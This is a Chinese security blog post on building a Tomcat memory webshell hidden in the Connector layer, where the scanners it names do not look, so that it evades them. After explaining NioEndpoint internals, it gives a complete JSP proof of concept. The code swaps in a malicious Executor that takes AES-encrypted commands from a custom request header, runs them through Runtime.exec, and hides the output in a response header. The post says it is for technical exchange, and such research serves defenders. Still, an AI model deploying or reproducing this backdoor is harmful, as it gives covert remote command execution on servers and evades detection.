前言
PS:本文均只代表个人浅薄观点,若有错误或理解不足请指出。
Tomcat为了自身的可扩展性,各组件之间在很大程度上都进行了解耦。
而memshell scanner等类似内存马查杀工具,大多都是针对Container内的注册服务进行扫描。
那我们是否可以在Connector内进行内存马的注入?
正文
前置知识
先来看看Connector的具体实现。
在Tomcat笔记(其一)中我们曾提到,Connector主要由ProtocolHandler与Adapter构成。
而ProtocolHandler又主要由Endpoint与Processor组成:
根据实现的不同,ProtocolHandler又有如下分类:
本文中,我们主要关注一下Http11NioProtocol这个实现。
Endpoint
Endpoint是ProtocolHandler的组成之一,而NioEndpoint是Http11NioProtocl中的实现。
Endpoint五大组件:
LimitLatch
LimitLatch主要是用来控制Tomcat所能接收的最大数量连接,如果超过了此连接,那么Tomcat就会将此连接线程阻塞等待,等里面有其他连接释放了再消费此连接。
public class LimitLatch { private static final Log log = LogFactory.getLog(LimitLatch.class); private class Sync extends AbstractQueuedSynchronizer { private static final long serialVersionUID = 1L; public Sync() { } @Override protected int tryAcquireShared(int ignored) { long newCount = count.incrementAndGet(); if (!released && newCount > limit) { // Limit exceeded count.decrementAndGet(); return -1; } else { return 1; } } @Override protected boolean tryReleaseShared(int arg) { count.decrementAndGet(); return true; } } private final Sync sync; //当前连接数 private final AtomicLong count; //最大连接数 private volatile long limit; private volatile boolean released = false;}//在AbstractEndpoint类中实现的方法......protected LimitLatch initializeConnectionLatch() { if (this.maxConnections == -1) { return null; } else { if (this.connectionLimitLatch == null) { this.connectionLimitLatch = new LimitLatch((long)this.getMaxConnections()); } return this.connectionLimitLatch; }}protected void releaseConnectionLatch() { LimitLatch latch = this.connectionLimitLatch; if (latch != null) { latch.releaseAll(); } this.connectionLimitLatch = null;}protected void countUpOrAwaitConnection() throws InterruptedException { if (this.maxConnections != -1) { LimitLatch latch = this.connectionLimitLatch; if (latch != null) { latch.countUpOrAwait(); } }}protected long countDownConnection() { if (this.maxConnections == -1) { return -1L; } else { LimitLatch latch = this.connectionLimitLatch; if (latch != null) { long result = latch.countDown(); if (result < 0L) { this.getLog().warn(sm.getString("endpoint.warn.incorrectConnectionCount")); } return result; } else { return -1L; } }}......Acceptor
Acceptor用于接收链接。
//AbstractEndpoint中的原型......public class Acceptor implements Runnable { private static final int INITIAL_ERROR_DELAY = 50; private static final int MAX_ERROR_DELAY = 1600; @Override public void run() { int errorDelay = 0; // 循环,直到接收到一个关闭命令 while (endpoint.isRunning()) { // 循环,如果Endpoint被暂停则循环sleep while (endpoint.isPaused() && endpoint.isRunning()) { state = AcceptorState.PAUSED; try { Thread.sleep(50); // 50毫秒拉取一次endpoint运行状态 } catch (InterruptedException e) { } } if (!endpoint.isRunning()) { break; } state = AcceptorState.RUNNING; try { endpoint.countUpOrAwaitConnection(); // 判断最大连接数 if (endpoint.isPaused()) { continue; } U socket = null; try { socket = endpoint.serverSocketAccept(); // 创建一个socketChannel接收连接 } catch (Exception ioe) { endpoint.countDownConnection(); if (endpoint.isRunning()) { errorDelay = handleExceptionWithDelay(errorDelay); // 延迟异常处理 throw ioe; // 重新扔出异常给c1处捕获 } else { break; } } errorDelay = 0; // 成功接收之后重置延时处理异常时间 if (endpoint.isRunning() && !endpoint.isPaused()) { // setSocketOptions()将Socket传给相应processor处理 if (!endpoint.setSocketOptions(socket)) { endpoint.closeSocket(socket); } } else { endpoint.destroySocket(socket); // 否则destroy掉该socketChannel } } catch (Throwable t) { // c1 ExceptionUtils.handleThrowable(t); // 处理延迟异常 String msg = sm.getString("endpoint.accept.fail"); if (t instanceof Error) { ... // 日志记录 } } } state = AcceptorState.ENDED; // 标记状态为ENDED } protected int handleExceptionWithDelay(int currentErrorDelay) { if (currentErrorDelay > 0) { try { Thread.sleep(currentErrorDelay); } catch (InterruptedException e) { // Ignore } } // 异常处理 if (currentErrorDelay == 0) { return INITIAL_ERROR_DELAY; // c2 } else if (currentErrorDelay < MAX_ERROR_DELAY) { return currentErrorDelay * 2; } else { return MAX_ERROR_DELAY; } }}......//在AbstractEndpoint类中开启Acceptor线程......protected void startAcceptorThreads() { int count = getAcceptorThreadCount(); acceptors = new ArrayList<>(count); for (int i = 0; i < count; i++) { Acceptor acceptor = new Acceptor<>(this); String threadName = getName() + "-Acceptor-" + i; acceptor.setThreadName(threadName); acceptors.add(acceptor); Thread t = new Thread(acceptor, threadName); t.setPriority(getAcceptorThreadPriority()); t.setDaemon(getDaemon()); t.start(); }}......//NioEndpoint中具体实现的对SocketChannel的处理protected class Acceptor extends org.apache.tomcat.util.net.AbstractEndpoint.Acceptor { protected Acceptor() { } public void run() { byte errorDelay = 0; while(NioEndpoint.this.running) { while(NioEndpoint.this.paused && NioEndpoint.this.running) { this.state = AcceptorState.PAUSED; try { Thread.sleep(50L); } catch (InterruptedException var4) { } } if (!NioEndpoint.this.running) { break; } this.state = AcceptorState.RUNNING; try { NioEndpoint.this.countUpOrAwaitConnection(); SocketChannel socket = null; try { socket = NioEndpoint.this.serverSock.accept(); } catch (IOException var5) { NioEndpoint.this.countDownConnection(); if (!NioEndpoint.this.running) { break; } NioEndpoint.this.handleExceptionWithDelay(errorDelay); throw var5; } errorDelay = 0; if (NioEndpoint.this.running && !NioEndpoint.this.paused) { if (!NioEndpoint.this.setSocketOptions(socket)) { this.closeSocket(socket); } } else { this.closeSocket(socket); } } catch (Throwable var6) { ExceptionUtils.handleThrowable(var6); NioEndpoint.log.error(AbstractEndpoint.sm.getString("endpoint.accept.fail"), var6); } } this.state = AcceptorState.ENDED; } private void closeSocket(SocketChannel socket) { NioEndpoint.this.countDownConnection(); try { socket.socket().close(); } catch (IOException var4) { if (NioEndpoint.log.isDebugEnabled()) { NioEndpoint.log.debug(AbstractEndpoint.sm.getString("endpoint.err.close"), var4); } } try { socket.close(); } catch (IOException var3) { if (NioEndpoint.log.isDebugEnabled()) { NioEndpoint.log.debug(AbstractEndpoint.sm.getString("endpoint.err.close"), var3); } } }}Poller
public class Poller implements Runnable { ...... @Override public void run() { // Loop until destroy() is called while (true) { boolean hasEvents = false; try { if (!close) { //查看是否有连接进来,如果有就将Channel注册进Selector中 hasEvents = events(); } if (close) { events(); timeout(0, false); try { selector.close(); } catch (IOException ioe) { log.error(sm.getString("endpoint.nio.selectorCloseFail"), ioe); } break; } } catch (Throwable x) { ExceptionUtils.handleThrowable(x); log.error(sm.getString("endpoint.nio.selectorLoopError"), x); continue; } if (keyCount == 0) { hasEvents = (hasEvents | events()); } Iterator iterator = keyCount > 0 ? selector.selectedKeys().iterator() : null; // Walk through the collection of ready keys and dispatch // any active event. while (iterator != null && iterator.hasNext()) { SelectionKey sk = iterator.next(); NioSocketWrapper socketWrapper = (NioSocketWrapper) sk.attachment(); // Attachment may be null if another thread has called // cancelledKey() if (socketWrapper == null) { iterator.remove(); } else { iterator.remove(); processKey(sk, socketWrapper); } } // Process timeouts timeout(keyCount,hasEvents); } getStopLatch().countDown(); } ......} 调用events()方法,查看队列中是否有Pollerevent事件,如果有就将其取出,然后把里面的Channel取出来注册到该Selector中,然后不断轮询所有注册过的Channel查看是否有事件发生。
当有事件发生时,则调用SocketProcessor交给Executor执行。
SocketProcessor
protected class SocketProcessor extends SocketProcessorBase { public SocketProcessor(SocketWrapperBase socketWrapper, SocketEvent event) { super(socketWrapper, event); } protected void doRun() { NioChannel socket = (NioChannel)this.socketWrapper.getSocket(); SelectionKey key = socket.getIOChannel().keyFor(socket.getPoller().getSelector()); try { int handshake = -1; try { if (key != null) { if (socket.isHandshakeComplete()) { handshake = 0; } else if (this.event != SocketEvent.STOP && this.event != SocketEvent.DISCONNECT && this.event != SocketEvent.ERROR) { handshake = socket.handshake(key.isReadable(), key.isWritable()); this.event = SocketEvent.OPEN_READ; } else { handshake = -1; } } } catch (IOException var12) { handshake = -1; if (NioEndpoint.log.isDebugEnabled()) { NioEndpoint.log.debug("Error during SSL handshake", var12); } } catch (CancelledKeyException var13) { handshake = -1; } if (handshake == 0) { SocketState state = SocketState.OPEN; if (this.event == null) { state = NioEndpoint.this.getHandler().process(this.socketWrapper, SocketEvent.OPEN_READ); } else { state = NioEndpoint.this.getHandler().process(this.socketWrapper, this.event);//关键在于调用对应的handler来执行这两个process方法。 } if (state == SocketState.CLOSED) { NioEndpoint.this.close(socket, key); } } else if (handshake == -1) { NioEndpoint.this.getHandler().process(this.socketWrapper, SocketEvent.CONNECT_FAIL); NioEndpoint.this.close(socket, key); } else if (handshake == 1) { this.socketWrapper.registerReadInterest(); } else if (handshake == 4) { this.socketWrapper.registerWriteInterest(); } } catch (CancelledKeyException var14) { socket.getPoller().cancelledKey(key); } catch (VirtualMachineError var15) { ExceptionUtils.handleThrowable(var15); } catch (Throwable var16) { NioEndpoint.log.error("", var16); socket.getPoller().cancelledKey(key); } finally { this.socketWrapper = null; this.event = null; if (NioEndpoint.this.running && !NioEndpoint.this.paused) { NioEndpoint.this.processorCache.push(this); } } }} Executor
见下文。
Executor以及恶意Executor的实现:
//删掉了很多注解,有兴趣可以自行查阅。
public interface Executor { /** * Executes the given command at some time in the future. The command * may execute in a new thread, in a pooled thread, or in the calling * thread, at the discretion of the {@code Executor} implementation. * * @param command the runnable task * @throws RejectedExecutionException if this task cannot be * accepted for execution * @throws NullPointerException if command is null */ void execute(Runnable command);}Executor其实是Tomcat定制版的线程池,具体设计理论我们无需细究,但有一点我们值得关注:
在Tomcat中Executor由Service维护,因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池,相关组件( 如Endpoint)会自动创建线程池,此时,线程池不再共享。
(这也是为什么之前我获取Service直接往executors组里添加executor但却并不生效的原因。)
可以看到这里是直接获取的EndPoint自己启动的TreadPoolExecutor类:
并且他的关键调用方法就在下一行 : executor.execute()
找到其核心处理逻辑后,我们只需继承它,并重写该方法将恶意逻辑写入其中。
public class threadexcutor extends ThreadPoolExecutor { ...... public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler); } ...... @Override public void execute(Runnable command) { System.out.println("123"); //Evil code here this.execute(command, 0L, TimeUnit.MILLISECONDS); } ......} 通过AbstractEndpoint中的setExecutor方法将原本的executor置换为我们的恶意类。
置换后,Endpoint处理所使用的executor成功变为我们的恶意类:
实现交互
获取命令
根据上文中的前置知识和Tomcat笔记(其一)中我们所描述的,标准的ServletRequest需要经过Processor的封装后才可获得,如果我们想要把命令放在header中传入,该如何实现?
实现的方法肯定不止一种,此处我借用java内存搜索工具找到一处位于NioEndpoint中的nioChannels的appReadBufHandler,很明显其中的Buffer存放着我们所需要的request。
将命令字段提取处理即可。
public String getRequest() { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads")); for (Thread thread : threads) { if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { Object target = getField(thread, "target"); if (target instanceof Runnable) { try { Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack"); ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer"); String a = new String(heapByteBuffer.array(), "UTF-8"); if (a.indexOf("blue0") > -1) { System.out.println(a.indexOf("blue0")); System.out.println(a.indexOf("\r", a.indexOf("blue0")) - 1); String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("\r", a.indexOf("blue0")) - 1);// System.out.println(b); return b; } } catch (Exception var11) { System.out.println(var11); continue; } } } } } } catch (Exception ignored) { } return new String(); }实现回显
注入内存马的位置在Processor处理生成标准ServletRequest之前,显然完整的ServletResponse要在Containor处理完成之后才会生成,那我们要如何解决回显问题?
想法一:
直接在此处使用Socket与client端进行通信,以字节流的形式传输数据。
(理论上可行,未测试)
想法二:
主要利用tomcat在处理request时的特性。
AbstractProcessor在初始化时就会进行Tomcat Request与Response的创建,继承了AbstractProcessor的Http11Processor也是如此:
......public AbstractProcessor(AbstractEndpoint<?> endpoint) { this(endpoint, new Request(), new Response());}......protected AbstractProcessor(AbstractEndpoint<?> endpoint, Request coyoteRequest, Response coyoteResponse) { this.hostNameC = new char[0]; this.asyncTimeout = -1L; this.asyncTimeoutGeneration = 0L; this.socketWrapper = null; this.errorState = ErrorState.NONE; this.endpoint = endpoint; this.asyncStateMachine = new AsyncStateMachine(this); this.request = coyoteRequest; this.response = coyoteResponse; this.response.setHook(this); this.request.setResponse(this.response); this.request.setHook(this); this.userDataHelper = new UserDataHelper(this.getLog());}......并且Response是会封装在Request对象中的:
在Container中的逻辑处理完之后,Http11Processor会继续对我们的response进行封装:
所以我们只需将命令执行的结果提前放入Tomcat的response中即可,这里我选择的是header。
PS:最开始的时候走了点弯路,想要把最开始的response结构体中的buffer部分找出来直接put(byte[])进去,后来发现byteBuffer扩容起来很麻烦,而且可能会存在后续tomcat处理将回显部分覆盖的情况。
so这里直接使用response.addHeader(),将结果放入header中。
public void getResponse(byte[] res) { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads")); for (Thread thread : threads) { if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { Object target = getField(thread, "target"); if (target instanceof Runnable) { try { ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"),"processors"); for (Object tmp_object:objects) { RequestInfo request = (RequestInfo)tmp_object; Response response = (Response) getField(getField(request, "req"), "response"); response.addHeader("Server",new String(res,"UTF-8"));// System.out.print("buffer add"); } } catch (Exception var11) { continue; } } } } } } catch (Exception ignored) { } }Final
为通信的隐蔽性,最后做了一下AES加密:
最终实现的效果为,若检测到request请求中包含我们自定义的header头则会执行相关恶意操作,并在response的自定义header中返回,否则则为正常业务流量:
同样的,因为不是在Container中实现的内存马,tomcat-memshell-scanner无法检测到:
jsp_demo
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %><%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %><%@ page import="java.util.concurrent.TimeUnit" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.concurrent.BlockingQueue" %><%@ page import="java.util.concurrent.ThreadFactory" %><%@ page import="java.nio.ByteBuffer" %><%@ page import="java.util.ArrayList" %><%@ page import="org.apache.coyote.RequestInfo" %><%@ page import="org.apache.coyote.Response" %><%@ page import="java.io.IOException" %><%@ page import="java.nio.charset.StandardCharsets" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><%! public static final String DEFAULT_SECRET_KEY = "blueblueblueblue"; private static final String AES = "AES"; private static final byte[] KEY_VI = "blueblueblueblue".getBytes(); private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding"; private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder(); private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder(); public static String decode(String key, String content) { try { javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM); cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI)); byte[] byteContent = base64Decoder.decode(content); byte[] byteDecode = cipher.doFinal(byteContent); return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8); } catch (Exception e) { e.printStackTrace(); } return null; } public static String encode(String key, String content) { try { javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM); cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI)); byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8); byte[] byteAES = cipher.doFinal(byteEncode); return base64Encoder.encodeToString(byteAES); } catch (Exception e) { e.printStackTrace(); } return null; } public Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (NoSuchFieldException | IllegalAccessException e) { } clazz = clazz.getSuperclass(); } return null; } public Object getStandardService() { Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { if (thread == null) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = this.getField(thread, "target"); Object jioEndPoint = null; try { jioEndPoint = getField(target, "this$0"); } catch (Exception e) { } if (jioEndPoint == null) { try { jioEndPoint = getField(target, "endpoint"); } catch (Exception e) { new Object(); } } else { return jioEndPoint; } } } return new Object(); } public class threadexcutor extends ThreadPoolExecutor { public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler); } public String getRequest() { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads")); for (Thread thread : threads) { if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { Object target = getField(thread, "target"); if (target instanceof Runnable) { try { Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack"); ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer"); String a = new String(heapByteBuffer.array(), "UTF-8"); if (a.indexOf("blue0") > -1) { System.out.println(a.indexOf("blue0")); System.out.println(a.indexOf("\r", a.indexOf("blue0")) - 1); String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("\r", a.indexOf("blue0")) - 1); b = decode(DEFAULT_SECRET_KEY, b); return b; } } catch (Exception var11) { System.out.println(var11); continue; } } } } } } catch (Exception ignored) { } return new String(); } public void getResponse(byte[] res) { try { Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads")); for (Thread thread : threads) { if (thread != null) { String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("Acceptor")) { Object target = getField(thread, "target"); if (target instanceof Runnable) { try { ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors"); for (Object tmp_object : objects) { RequestInfo request = (RequestInfo) tmp_object; Response response = (Response) getField(getField(request, "req"), "response"); response.addHeader("Server-token", encode(DEFAULT_SECRET_KEY,new String(res, "UTF-8"))); } } catch (Exception var11) { continue; } } } } } } catch (Exception ignored) { } } @Override public void execute(Runnable command) {// System.out.println("123"); String cmd = getRequest(); if (cmd.length() > 1) { try { Runtime rt = Runtime.getRuntime(); Process process = rt.exec(cmd); java.io.InputStream in = process.getInputStream(); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = ""; String tmp = ""; while ((tmp = stdInput.readLine()) != null) { s += tmp; } if (s != "") { byte[] res = s.getBytes(StandardCharsets.UTF_8); getResponse(res); } } catch (IOException e) { e.printStackTrace(); } } this.execute(command, 0L, TimeUnit.MILLISECONDS); } }%><% NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor"); threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler()); nioEndpoint.setExecutor(exe);%> 后记
抛砖引玉,按照这个思路,Connector中应该还有其他组件内存马可以实现。
请忽略我拙劣的coding能力。
感谢su18师傅和园长的鞭策。
参考:
https://juejin.cn/post/6844903874122383374
https://cloud.tencent.com/developer/article/1745954
http://chujunjie.top/2019/04/21/Tomcat源码学习笔记-Connector组件-一/
点击收藏 | 1关注 | 1
申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关 本文作者:bluE0
| 留言与评论(共有 0 条评论) “” |